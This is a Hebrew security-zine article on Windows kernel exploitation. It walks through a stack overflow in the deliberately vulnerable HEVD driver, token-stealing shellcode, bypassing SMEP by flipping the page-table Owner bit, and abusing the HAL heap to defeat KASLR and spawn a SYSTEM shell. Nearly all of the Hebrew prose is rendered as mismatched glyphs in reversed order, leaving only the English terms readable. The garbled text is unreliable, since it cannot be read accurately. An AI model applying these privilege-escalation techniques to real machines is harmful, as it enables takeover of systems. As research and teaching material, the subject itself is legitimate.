 ˢ˯˩ˬ ˢˬ˧˷˶-  ˥˸˲˪ˣ ,˶ˬ˞ˬˢ ˸˶ˠ˯ˬ˟ ˫ˢ˧˪˰ ˟ˣ˸˩˪ ˭ˣ˩ˮ˪ ˧˸˞˴ˬ˷ ˸ˣˮˣ˧˰˶ ˶˲˯ˬ ˠ˧˴ˢ˪ ˞˧ˢ ˢ˶˦ˬˢ

.˞˶ˣ˵ˢ ˸˟˷˥ˬ ˸˞ 

ˣ˞) ˢ˷˪ˣ˥ˢ ˧˲˪ ˸ˣˡˠˣ˞ˬ ,˸ˣˮˣ˷ ˪ˣ˴˧ˮ ˸ˣ˦˧˷ ˶ˣ˵˯ˮ ,˫˧˞˟ˢ ˫˧˲˧˰˯˟  ˪˩ˣˮ ˭ˢ˧˸˥˸˷ (˸ˣ˷˪ˣ˥ˢ ˱ˣ˶˧˴

.˭ˢ˟ ˷ˬ˸˷ˢ˪ 
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 ˪ˣ˴˧ˮStack-Overflow  ˸˥˸SMEP  ˫˰Arbitrary-Bit-Toggling 

 ˸˥˞ˢ :˸ˣ˷˪ˣ˥ ˧˸˷ ˣˮ˸ˣ˷˶˪ ˸ˣ˟˴˧ˮ ˣ˟˷ ˷˧˥˶˸ ˞ˣˢ ,ˢˤ ˱˧˰˯˟ ˭ˣˡˮ ˣ˟ ˷˧˥˶˸ˢ- Stack Overflow ,

 ˢ˧˧ˮ˷ˢˣ-  ˭ˢ ˸ˣ˷˪ˣ˥ˢ ˧˸˷ .˸˧˸ˣ˶˧˶˷ ˸˟ˣ˸˩˟ ˦˧˟ ˪˷ (˧ˣ˟˩/˵˪ˣˡ) ˟˴ˬ ˸˶ˡˠˢOne-Offs ˪˩ˣˮ ˶ˬˣ˪˩ ,

ˢ ˸˞ .˸˥˞ ˫˰˲ ˵˶ ˭ˢˬ ˸˥˞ ˪˩˟ ˷ˬ˸˷ˢ˪-Stack Overflow ˢ ˸˶ˤ˰˟ ˢˬˡˮ-Stack Overflow ˟-

HEVD ˸˶ˤ˰˟ ˢˬˡˮ ˦˧˟ˢ ˧ˣ˟˧˩ ˸˞ˣ ,˶˟˰˟ ˣˮ˶˵˯ ˣ˸ˣ˞ ,WinDbg. 

ˢ ,˶ˣ˩ˤ˩-Stack Overflow ˟-HEVD ˟ ˶˟ˣˡˬ :˧ˡˬ˪ ˧˪˞˧ˣˣ˧˶˦ ˞ˣˢ-memcpy  ˸˦˧˪˷˟ ˰ˡ˧ˬ ˪˷

 ˨ˣ˸˪ ,˰˟ˣ˵ ˷ˬ˸˷ˬˢ˷ ˪ˡˣˠ˟ ,˷ˬ˸˷ˬˢBuffer  ˸˯˶ˠ˟ .˸˧ˮ˯˥ˬˢ ˪˰ ˶ˡˠˣˬ˷64- ˪˷ ˦˧˟HEVD ,

 ˫˧˷˶ˡˮ0x808 ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪ ˪˧˥˸ˮ˷ ˧ˮ˲˪ "˵ˮ˞'ˠ" ˪˷ ˫˧˸˟-IOCTL Dispatch ˟-

HEVD ˢ ˞˴ˬˮ ˣ˟-Stack Overflow. 

 ˸˥˸ ˢ˷˪ˣ˥ˢ ˸˞ ˣˮ˪˴˧ˮ ˶˷˞˩Windows 7 32-bit ˢ˩ˣ˸˟ ˸˪˪ˣ˩˷ ˢ˧˴˵ˮˣ˲ ˣˮ˪˷ ˡˣ˵˟ ˣˮ˶ˡˠˢ ,

Shellcode  ˸˟˧ˮˠ ˰˴˟ˬ˷Access Token ˸˟ˣ˸˩ˢ ˫˰ ˶˟˧˧˶ˡ˟ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˣˮ˯˶ˡˣ ,

˟ ˢ˴˶ ˣˮ˪˷ ˢ˧˴˵ˮˣ˲ˢ ,˨˩ .ˣˮ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷-Ring-0 ˸˞ ˰˴˟˪ ˢ˯ˮˮ .ˣˮˬˬˤ ˸˞ ˰˴˟˪ ˣˮ˪ˣ˩˧ˣ , ˣ˸ˣ˞

˟ ,˶˟ˡˢ-Windows 10 1511 64-bit ˸˶ˤ˰ ˸˧˧˴˵ˮˣ˲ ˷ˬˬˮ ,˨˩ ˨˶ˣ˴˪ .- tiggerStackOverflow -  ˶˷˞

ˢ ˸˞ ˸˪˴ˮˬˣ ˢ˶ˤ˥ ˸˟ˣ˸˩ ˸˪˟˵ˬ-Stack Overflow ˟-HEVD  ˸˞ ˳˧˶ˢ˪ ˸ˣ˯ˮ˪ ˡ˟˰ˬ˪ ˫ˣ˶ˠ˪ ˸ˮˬ ˪˰

:ˢ˧˴˵ˮˣ˲˪ ˣˮ˵˲˧˯˷ ˸˟ˣ˸˩˟ ˞˴ˬˮ˷ ˡˣ˵ˢ 

 

ˣ˸ˢ ˸˞ ˭˥˟ˮˣ ˢˮˣ˩ˬ˟ ˢ˞˟ˢ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮ:ˢ˞˴ 
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˟ ˸ˣ˞˶˪ ˪˩ˣˮ ,˸˧ˮ˩˸ˢ ˸˴˶ˢ ˸˰˟-WinDbg  ˫˶ˠˮ˷Bugcheck 0xFC - 

ATTEMPED_EXECUTE_OF_NOEXECUTE_MEMORY: 

 

) ˳˧˶ˢ˪ ˭ˣ˧˯˧ˮ ˰˴˟˸ˢ˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢArg1 ˢ˧˴˵ˮˣ˲ˢ ˢ˪˧˥˸ˬ ˢ˟ ˸˟ˣ˸˩˪ ˸ˬ˞ˣ˸ (

ElevatePrivileges ˸˶ˤ˰˟ ˫ˠ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ ,˭˩ ˣˬ˩ .!pte  ˸ˮ˧˥˟ ˸˶ˤ˰˟ ˫ˠˣArg2ˢ ,-PTE  ˡˣˬ˰ˢ ˪˷

 ˢ˴˶ˢ ˶˟ ˭˩ ˞ˣˢ˷ ˢ˞˶ˬ ˞˵ˣˣˡ ˧˦ˮˣˣ˪˶ˢ-  ˪ˠˡˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮE :˫˧˧˵ 

 

ˢ ˢ˶˵ ˰ˣˡˬ ˤ˞-Bugcheck ˞˧ˢ ˨˩˪ ˢ˟˧˯ˢ ?SMEP - Supervisor-Mode Execution Prevention ˶˟˩ .

 ˪˰ ˣˮ˶˟˧ˡSMEP " ˶ˬ˞ˬ˟ ,˶˟˰˟Kernel Exploitation using GDI Objects ˢˮˠˢˢ ˸˞ ˶˞˸ˮ ˭˩˪ˣ ,"

ˢ˶˴˵˟: ˪ ˨˧˧˷˷ ˡˣ˵ ˪˷ ˢ˴˶ˢ ˸˰ˮˣˬ˷ ˢˮˠˢ˟ ˶˟ˣˡˬ-User ˢ ˧ˡ˧ ˪˰ ˳˶ˣˬ ˸ˣ˧ˢ˪-Supervisor ˢˮˠˢˢ .

 ˸˰ˮˣˬ ˣˤˢStack Smashing ˟ ˸ˣ˴˶˷ ˸ˣ˧˴˵ˮˣ˲ ˪˷-Supervisor-Mode )Ring-0 (-  ˫ˣ˶ˠ˪ ˪˩ˣˮ ˞˪

˪ ˸˩˧˧˷˷ ˢ˧˴˵ˮˣ˲˪ ˶ˣˤ˥˪ ˸˧˪ˮ˶˵ ˢ˧˴˵ˮˣ˲˪-Userˢ ˦˧˟ˢ ˫˞ .-20  ˶ˠˣ˞˟CR4  ,˵˪ˣˡSMEP  .˪˰˲ˣˬ

 ˭˩˞˷ ˢ˞˶ˮSMEP :ˣˮ˪˷ ˢˮˣ˩ˬ˟ ˪˰˲ˣˬ 

 

 ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩SMEP  .˪˰˲ˣˬ ˭˩˞SMEP  ˸˩˶˰ˬ ˪˩˟ ˪ˡ˥ˬ ˸˶˧˶˟˩ ˪˰˲ˣˬ64- ,˶ˬˣ˪˩ .˸˧ˮ˶ˡˣˬ ˦˧˟

 ˪˰ˢ ˸˞ ˪˴ˮ˪ ˸ˮˬ-Stack Overflow ˸˞ ˱ˣ˵˰˪ ˣˮ˧˪˰ ,SMEP. 

 ˸˲˧˵˰˪ ˫˧˩˶ˡ ˶˲˯ˬ ˫˧ˬ˧˧˵SMEP ˪˰ ˸ˣ˩ˬ˸˯ˬ ˭˟ˣ˶ ,ROP˟ ˷ˬ˸˷ˢ˪ ˸ˮˬ ˪˰ ˪˟˞ ,-ROP ˪˩ ˪˰ ,

˪ ˸ˣ˩˧˧˷ ˸ˣ˧ˢ˪ ˷ˬ˸˷ˮ ˭ˢ˟˷ ˸ˣ˟ˣ˸˩ˢ-Kernel ˫˧˧˵˷ ˭ˣˣ˧˩ˬˣ ,KASLR ˨˶˦˴ˮ ,Info-Leak  ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰

ˢ ˟ˣ˶ ,˭˩ ˣˬ˩ .ˣˮ˪˷ ˫˧˦'ˠˡ˞ˠˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˸˞-ROP chains  ˸˲˧˵˰˪SMEP  ˰ˣ˴˧˟˟ ˫˧ˬ˩˸˯ˬROP 

ˢ ˦˧˟ˢ ˧ˣ˟˧˩˪ ˫ˣ˶ˠ˧˷-20 ˟-CR4 ˰˴˟˸˧ˣ ˢˡ˧ˬ˟˷ ,˞˧ˢ ˢ˧˰˟ˢ .Context-Switch ˢ ˸˴˶ˢ ˨˪ˢˬ˟-

Shellcode  ˪˷ ˨˶˰ˢ ,ˣˮ˪˷CR4 ˣ ˷ˡ˥ˬ ˭˰˦˧-SMEP ˢ ˸˴˶ˢ ˨˪ˢˬ˟ ˟ˣ˷ ˪˰˲ˣ˧-Shellcode  ˢˬ ,ˣˮ˪˷

https://www.digitalwhisper.co.il/files/Zines/0x5B/DW91-1-KernelExplGDI.pdf
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˪ ˪˧˟ˣ˧˷-Bugcheck ˫ˠ˷ ˨˩ ,ROP chain ˢ ˦˧˟ˢ ˸˞ ˢ˟˩ˬ˷-20 ˟-CR4  ˸ˮˬ ˪˰ ˸˲˯ˣˮ ˢˡˣ˟˰ ˨˧˶˴ˬ

.˟˧˴˧˪ ˣˮ˪˷ ˦˧ˣ˪˲˯˵˞ˢ ˸˞ ˨ˣ˲ˢ˪ 

 ˸˲˧˵˰˪ ˶˥˞ ˭ˣ˶˸˲SMEP  ˪˰ ˯˯˟˸ˬPage Tables ,˶ˣˬ˞˩ :SMEP ˪ ˨˧˧˷˷ ˡˣ˵ ˸˴˶ˢ ˢˮˣˬ-User ˟-

Supervisor-Mode ,˸˞ˤ ˰˴˟˪ ˸ˮˬ ˪˰ .SMEP  ˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˪˰ ˯˯˟˸ˬ- s-PXEˢ ,-PPEˢ ,-PDE sx-

PTE -  ˸˶ˤ˰˟) ˸ˣ˞˶˪ ˢ˧ˢ ˭˸˧ˮ ,ˣˮ˪˷ ˢ˶˵ˬ˟ .˳˧˶ˢ˪ ˫˧˯ˮˬ ˣˮ˞ ˢ˸ˣ˞ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩˪ ˫˧˧˦ˮˣˣ˪˶ˢ

!pte˪ ˨˧˧˷ ˫˧˯˥˧˧˸ˬ ˫ˢ ˣ˧˪˞ ˰ˡ˧ˬˢ˷ ˫˧ˮ˧˧˴ˬ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ ˪˩˷ (-User ˢ)-Owner-Bit  ,˵˪ˣˡWinDbg 

 ˸ˣ˞ˢ ˸ˠ˴ˢ ˸˶ˤ˰˟ ˧ˣˣ˧˥ ˨˩ ˪˰ ˭˸ˣˮΨ¦Ω ˢ ˪˷ ˭˩ˣ˸˪ ˸˥˸ˬ ˫˧˰˧˲ˣˬ˷ ˫˧˪ˠˡ˟-P*E ˨˩ ,(SMEP  ˰ˡ˧

 ,ˣˮ˪˷ ˸˟ˣ˸˩˪ ˫˧˧˦ˮˣˣ˪˶ˢ ˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˸˞ ˨ˣ˶˰˪ ˪˩ˣˮ ˫˞ ˢˬ ˪˟˞ .ˣˮ˪˷ ˡˣ˵ˢ ˸˞ ˳˧˶ˢ˪ ˣˮ˸˧˞ˬ ˰ˣˮˬ˪

ˢ˷ ˨˩-Owner-Bit ˪ ˨˧˧˷ ˱ˡˢ˷ ˪ˬ˯ˬ˷ ˢˬ ,˧ˣ˟˩ ˢ˧ˢ˧-Supervisor ˪)-Kernel˴ˬ˟ ?( ˸ˮ˧˥˟ˬ ,ˢˤ˩ ˟

ˬ ˢ˥ˣ˵˪ ˢˮˣˬ˸ˢ) ˨˩ ˢ˞˶˧ ˸˧ˮ˩˸ˢ ˪˷ ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ,ˡ˟˰ˬˢ-coresecurity:( 

 

 ˡ˟˰ˬˢ ,ˣˤˢ ˢ˶ˣ˴˟˞˪ ˢ ˦˧˟ ˸˞ ˣ˪ ˣˮ˧˟˧˩˷ ˡˣˬ˰˪ ˶ˣˤ˥˪ ˪˩ˣˮˣ ,ˢˠ˧˶˥ ˢ˪˰˧-Owner  ˸˧˪ˮ˶˵ ˢ˧˴˵ˮˣ˲ˬ

ˬ ˠˣ˞ˡ˪ ˨˶˦˴ˮ˷ ˧˪˟ˬ-SMEPˬ ˣ˞ ,-Context-Switch-.˫˧ 

 ˣˮ˧˪˰˷ ˢ˞˟ˢ ˢ˪˞˷ˢ˞˧ˢ ˪ˣ˞˷˪: ˢ ˦˧˟ ˸˞ ˸ˣ˟˩˪ ˣˮ˧˪˰ ˫˞ˢ-Owner  ˧ˣ˲˧ˬˢ ˧˶˟˧˞ˬ ˡ˥˞ ˪˩˟

 ˭˩ ˞˧ˢ ˢ˟ˣ˷˸ˢ ˫˞ ?ˣˮ˪˷ ˸˟ˣ˸˩˪ ˫˧˧˦ˮˣˣ˪˶ˢ-  ˪˩ˣˮ ˞˪ ˶˟˩˷ ˢˡ˟ˣ˰˪ ˶˟˰ˬ .ˢ˧˰˟˟ ˫˧˟˴˧ˮ ˣˮ˞

 ˟˧˦˧ˬ˧˶˲ ˫˰ ˸˞ˤ ˸ˣ˷˰˪One-Offˢ˷ ˠˣ˞ˡ˪ ˨˶˦˴ˮ ˫ˠ ,-Shellcode  ˣ˸ˣ˞ ˸˶ˤ˰˟ ˢ˲ˣˬˬ ˢ˧ˢ˧ ˞˪ ˣˮ˪˷

PXE  ˡˣ˵ˢ ˶˞˷ ˣˬ˩˪ ˶ˣˤ˥ˮ˷˩ ˳ˣ˶˪ ˪˩ˣ˧ ˞˪ ˣˮ˪˷ ˡˣ˵ˢ ˶˞˷ ˤ˞˷ ˧ˮ˲ˬ ,ˣˮ˪˷-Ring-3. 
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˟ ˢ˞˶ˢ ˣ˵˯ˮˣ˧ ˯˩˪˞˷ ˧˲˩ ,ˣˮ˪ˤˬ˪-Infiltrate 2015 ˢˮ˟ˬ ˵˶ ˨ˣ˶˰˪ ˵˧˲˯ˬ ,P*E  ˸ˣˬ˶˪ ˸ˮˬ ˪˰ ˡ˥˞

 ˸˞SMEPˢ ˦˧˟ ˸˞ ˢ˟˩ˮ˷ ˵˧˲˯ˬ ˶ˬˣ˪˩ ,-Owner ˟-PTE  ˣˮ˪˷-  ˭ˣ˶˩˧ˤ ˡˣˬ˰ ˪˰ ˵˶ ˰˧˲˷˧ ˶˷˞ ˶˟ˡ

 ˡ˥˞- ˩ˣˮ˷ ˸ˮˬ ˪˰ˬ ˡˣ˵˪ ˶ˣˤ˥˪ ˪-Ring-0: 

 

 ˸˶ˤ˰˟ ˢˬˡˮ ˦˧˟ˢ ˸˵˪ˡˢ/˧ˣ˟˧˩ ˟˧˦˧ˬ˧˶˲ ˸˞ ,˶ˣˬ˞˩WinDbg ˫˧ˠˡˢ˪ ˸ˮˬ ˪˰ ˢ˞˟ˢ ˸˧ˮ˩˸˟ ˶ˤ˰˧ˮ .

:˪ˣ˴˧ˮˢ ˸˦˧˷ ˸˞ 

 

ˢ˷ ˞ˣˢ ˭ˣ˧˰˶ˢ .˸˧˯˥˧ ˢ˩ˣˬˮ ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤ ˡˣˬ˰ ˫˧˴˵ˬ ˣˮ˞ ,ˢ˪˧˥˸ :ˡˣ˵ˢ ˸˞ ˶˧˟˯ˮ-PTE  ˡˣˬ˰ˢ ˪˷

˩ ,ˣˮ˪˷ ˡˣ˵˟ ˶˥˞ ˡˣ˵ ˰˦˵ ˱˞ ˷ˬ˷˧ ˞˪˟ ˭˧˵˸ ˭˲ˣ˞˟ ˳ˣ˶˪ ˪˩ˣ˧ ˡˣ˵ˢ ˶˞˷˷ ˨-Ring-3 ˣˮ˞ ,˭˩ˬ ˶˥˞˪ .

ˢ ˸˞ ˫˧˵˧˸˰ˬ-Shellcode ˪ ˡˣˬ˰ˢ ˸˞ ˫˧˩˲ˣˢˣ ,˷ˡ˥ˢ ˡˣˬ˰˪ ˣˮ˪˷-Executable ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˳˪˥ˮ .

-sPTE ˪ ˫ˣ˶ˠˮˣ ˸˟ˣ˸˩˪ ˧˦ˮˣˣ˪˶ˢ-breakpoint˟ ,ˢˤ ˟˪˷˟ .-WinDbgˢ ˦˧˟ ˸˞ ˢ˟˩ˮ ,-Owner ˟-PTE 

 ˨ˣ˸˪ ˣˮ˶ˬ˷ ˣ˪˷ ˸˟ˣ˸˩ˢ ˸˞˷pteAddress ˸˞ ˪˴ˮˮ ,˭˩ˬ ˶˥˞˪ .HEVD!TriggerStackOverflow  ˫ˣ˶ˠˮˣ

 ˸˟ˣ˸˩˪ ˶ˣˤ˥˪ ˣ˪0x1000000 ˢ ˸˞ ˣˮˬ˵˧ˬ ˢ˟ˣ ˡˣ˵ˢ ˸˪˧˥˸˟ ˣˮ˧˲˧ˬ˷ ˸˟ˣ˸˩ˢ)-Shellcode  .(ˣˮ˪˷

 ˳˧˶ˮ ,˱ˣ˯˟˪cmd.exe ˪ ˣˮˬ˴˰ ˸˞ "ˠ˶ˡ˷˪" ˣˮ˥˪˴ˢ˷ ˸ˣ˞˶ˢ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰-System˲ˬ˵ˮ . ˸˞ ˳˧˶ˮˣ ˪

.ˢˮˣ˩ˬ˟ ˸˧ˮ˩˸ˢ 

ˢ˷ ˶˥˞˪-Breakpoint ˟ ˳ˣ˲˵˧-WinDbg ˫˵ˬˮ ,bp ˟-HEVD!TriggerStackOverflowˢ ˸˞ ˭˥˟ˮˣ ,-PTE: 



 
 

Intel Paging & Page Table Exploitation on Windows 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ97 , ˦˯ˣˠˣ˞2018  97 
 

 

ˢ ˦˧˟ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-Owner ˪ ˨˧˧˷ ˡˣˬ˰ˢ ˶ˬˣ˪˩ ,˵˪ˣˡ-User ˸˶ˤ˰˟ ˦˧˟ˢ ˸˞ ˢ˟˩ˮ .WinDbg: 

 

ˢ ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˭˥˟ˮ ˫˞ ,˸˰˩-Shellcode ˪˷ ˸˶ˤ˰˟ ˣˮ!pteˢ˷ ˸ˣ˞˶˪ ˪˩ˣˮ ,-PTE  ˢ˞˶ˬ

˪ ˨˧˧˷ ˡˣˬ˰ˢ˷-Kernel ,WinDbg  ˸ˣ˞ˢ ˸˶ˤ˰˟ ˸˞ˤ ˢ˞˶ˬK: 

 

ˢ ˣˮ˪ ˳ˣ˲˵˧ ,˫˰˲ˢ .ˢ˴˶ˢˢ ˸˞ ˨˧˷ˬˮ-Breakpoint ˟ ˣˮˬ˵˧ˬ˷-HEVD!TriggerStackOverflow ˨˧˷ˬˮ .

˸˟ˣ˸˩ˢ ˫˰ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪ ˣˮ˥˪˴ˢ ˭˩˞˷ ˢ˞˶ˮˣ ˢ˧˴˵ˮˣ˲ˢ ˱ˣ˯ ˡ˰  ˣˮˬ˵˧ˬ ˢ˟

ˢ ˸˞-Shellcode. 
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 ˰˴˟ˮ ˭˩ ˣˬ˩Single-Stepping ˢ ˸˪˧˥˸˟-Shellcode :ˢˠ˧˶˥ ˸˷˥˶˸ˬ ˞˪˷ ˸ˣ˞˶˪ ˸ˮˬ ˪˰ 

 

 ˳˧˶ˮˣ ˢ˴˧˶ˢ ˸˞ ˨˧˷ˬˮwhoami ˟-cmd.exe :˥˸˲˧˷ 

 

˟ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-cmd.exe  ˨ˣ˸ˬ ˳˶˷pte-overwrite.exe ˣˮ˧˧ˢ ,SYSTEMˬ ˣˮ˞˴˧˷˩ˣ ,-pte-

overwrite.exe ˪˴ˮ˪ ˣˮ˥˪˴ˢ ˶ˬˣ˪˩ ,˸ˣ˪˧ˠ˶ ˸ˣ˞˷˶ˢ˪ ˣˮ˶ˤ˥ ,Stack Overflow  ˸˞ ˣˮ˧ˬ˧˶˷ ˨ˣ˸SMEP 

ˢ ˦˧˟ ˸˯˧˶ˡ ˸˶ˤ˰˟-Owner ˟-PTE. 

˟ ˧˸ˣ˶˧˶˷ ˡˣ˵ ˳˧˶ˢ˪ ˣˮ˪ˣ˩˧ ,˪ˣ˴˧ˮˢ ˨˪ˢˬ˟˷ ˭˧˧˴ˮ-Ring-0 ˧˟˧˦˧ˬ˧˶˲ˬ ˢ˟˶ˢ˟ ˢ˵ˤ˥ ˣˤ ˸˪ˣ˩˧ .

.˫˧ˬˡˣ˵ˢ ˫˧˶ˬ˞ˬ˟ ˣˮ˵˯˰˸ˢ ˫ˢ˟ ,ˢ˟˧˸˩/ˢ˞˧˶˵ 

HAL Heap & Arbitrary-Overwrites 

 ˪˷ ˫˧˪ˠˡˢ ˸˩˧˶˰ ˸˶ˤ˰˟ ˡ˴˧˩ ˣˮ˧˞˶ ,˫ˡˣ˵ˢ ˱˧˰˯˟PTE  ˪˴ˮ˪ ˣˮ˪ˣ˩˧ ˫˧ˣ˯ˬStack Overflow  ˸˥˸

SMEP˟ ˡˣ˵ ˸˴˶ˢ ˠ˧˷ˢ˪ ˸ˮˬ ˪˰ ,-Ring-0˟ ˡˣ˵ ˸˴˶ˢ ˠ˧˷ˢ˪ ˪˩ˣˮ ˡ˴˧˩ ˶˞˸ˮ ,ˢˤ ˱˧˰˯˟ .-Ring-0 

ˢ ˸˯˧˶ˡ ˸˶ˤ˰˟-PFN ˟-PTE .˸˲˯ˣˮ ˢ˷˪ˣ˥˟ ˶ˤ˰˧ˢ˪ ˧˪˟ˬ ,˫˧ˣ˯ˬ 

˶˥˞ˢ ˫˧˶ˬ˞ˬ˟ ˞˷ˣˮ˟ ˫˧ˮˣKernel Exploitationˢ ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ˷ ˢˡ˟ˣ˰˟ ˸ˣ˟˶ ˣˮ˶ˤ˰ˮ ,-

Heap ˢ ˪˷-HAL  ˡ˰) ˢ˰ˣ˟˵ ˞˧ˢRedstone 2˟˷ ˣˮ˧˞˶ .(-Heap  ˫˧˦˯˧ˢ˟ ˸ˣ˧˴˵ˮˣ˲˪ ˫˧˰˧˟˴ˬ ˶˲˯ˬ ˷˧

˟ ˢ˧˴˵ˮˣ˲˪ ˰˧˟˴ˬ ˞ˣˢ ˫˧˰˧˟˴ˬˢ ˡ˥˞˷ ˢˡ˟ˣ˰ˢ ˸˞ ˣˮ˪˴˧ˮˣ ,˫˧˰ˣ˟˵-ntos ,˞˧ˢ ˢ˟ ˣˮ˶ˤ˰ˮ ˞˪˷ ˢˡ˟ˣ˰ .

 ˸˟ˣ˸˩ˢ ˫ˠ˷˸˧ˤ˧˲ˢ ˢ ˪˷-Heap  ˞˧ˢˣ ,ˢ˰ˣ˟˵ ˞˧ˢ0x1000 ˣ˞ ,PFN 0x1. 
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ˢ ˸˞ ˨ˣ˶˰˪ ˪˩ˣˮˣ ˢˡ˧ˬ˟-PFN  ˪˷PTE  ˪˩ˣˮ ,˷ˬ˸˷ˬˢ ˸ˣ˪˰˟˟˷ ˡˣˬ˰ ˧ˣ˲˧ˬ˪ ˷ˬ˷ˬ ˶˷˞ ,˫˧ˣ˯ˬ

 ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˪˰ ˰˧˟˴ˢ˪ ˣ˪ ˫ˣ˶ˠ˪0x1000˟˷ ˰ˡ˧ˬˢ ˪˩ ˸˞ ˞ˣ˶˵˪ ˪˩ˣˮ ,˨˩ .-Heap ˸˞ ˪˪ˣ˩ ,

 ˪˟˞ ,˸ˣ˧˴˵ˮˣ˲˪ ˫˧˰˧˟˴ˬˢ˪ ˧˸ˣ˶˧˶˷ ˭˲ˣ˞˟ ˟ˣ˸˩˪ ˪˩ˣˮ ˫ˠ-Heap ˦˰ˬ ˞˪ ˷˧ ,˨˷ˬˢ˟ ˢ˞˶ˮ˷ ˧˲˩ .

 ˸˶ˤ˰˟ ˣ˸ˣ˞ ˢˬˡˮ ˢ˪˧˥˸ ˨˞ ,ˢˤ˩ ˟˴ˬ˟ ˸ˣ˷˰˪ ˪˩ˣˮ˷ ˫˧˶˟ˡWinDbg. 

:ˢ˞˟ˢ ˸˧ˮ˩˸˟ ˶ˤ˰˧ˮ 

 

 ˸˶ˤ˰˟ ˭˥˟ˮ .ˢˮˣ˩ˬ˟ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮWinDbg ˢ ˸˞-PTE  ˸˟ˣ˸˩˪ ˶ˣ˷˵ˢ0x1000000: 

 

ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-PFN ˢ ˪˷-PTE  ˸˟ˣ˸˩ˢ ˶ˣ˟˰0x1000000  ˞ˣˢ0x247F5 ˸˟ˣ˸˩ˢ˷ ˨˩ ,

 ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ ˸˲ˣˬˬ ˪"ˮˢ ˸˧˪˞ˣ˦˶˧ˣˢ0x247F5000ˢ ˪˷ ˸ˣ˧˪˞ˣ˦˶˧ˣˢˣ ˸ˣ˧ˤ˧˲ˢ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˭˥˟ˮ .-

Heap ˢ ˪˷-HAL  ˦˯˧ˢ˟0x4A0  ˫˧˸˟- ˢ ˟˷ˣ˧ ˫˷-HalpInterruptController  ˫˧˰˧˟˴ˬ ˪˧˩ˬ ˶˷˞

:˸ˣ˧˴˵ˮˣ˲˪ 

 

 ˪˷ ˸˟ˣ˸˩ˢ ,˫˧˞ˣ˶˷ ˧˲˩-sHeap ˢ ˪˷-HAL )0xFFFFFFFF`FFD00000 ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ ˸˲ˣˬˬ ˭˩˞ (

0x1000. 
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ˢ ˸˞ ˨ˣ˶˰ˮ ,˸˰˩-PFN ˢ ˪˷-PTE  ˸˟ˣ˸˩˟ ˞˴ˬˮ˷0xFFFFF680`00008000 ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ ˰˧˟˴˧˷ ˨˩ ,

0x1000:˯˥˧˧˸ˬ ˞ˣˢ ˢ˧˪˞ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢˬ ˟ˣ˷ ˞ˣ˶˵˪ ˢ˯ˮˮˣ , 

 

 

˸˟ˣ˸˩ˢˬ ˢ˞˧˶˵ ˫˰˲ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ ˪ ˸˩˧˧˷˷-User  ˢ˞˧˶˵˷ ˫˧˩˶˰ ˫˸ˣ˞ ˸˞ ˵ˣ˧ˡ˟ ˢ˶˧ˤ˥ˬ

ˢ ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢˬ-HAL Heap  ˢ˟˧˸˩/ˢ˞˧˶˵ ˰˴˟˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˸˰˩˷ ,˞˧ˢ ˸ˣ˰ˬ˷ˬˢ .ˢ˶˧ˤ˥ˬ

ˢ ˨ˣ˸˪ ˸˧˸ˣ˶˧˶˷-Heap .˸˩˶˰ˬˢ ˸˞ ˣ˷ˬ˷˧ ˣ˪˪ˢ ˫˧˩˶˰ˢˣ ,˪"ˮˢ 

 ˶˟ˡˢ .˸ˣ˷˰˪ ˪˩ˣˮ˷ ˫˧˟˶ ˫˧˶˟ˡ ˷˧ ˢˤˢ ˟˴ˬ˪ ˣˮ˰ˠˢ˷ ˰ˠ˶˟ ,˶ˣˬ˞˩ ˶ˤ˰˧ˢ˪ ˞ˣˢ ˶˸ˣ˧˟ ˦ˣ˷˲ˢ

˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˧˰˧˟˴ˬ˟-hal!HalpInterruptController  ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰hal.dll  ˭ˣ˰˦

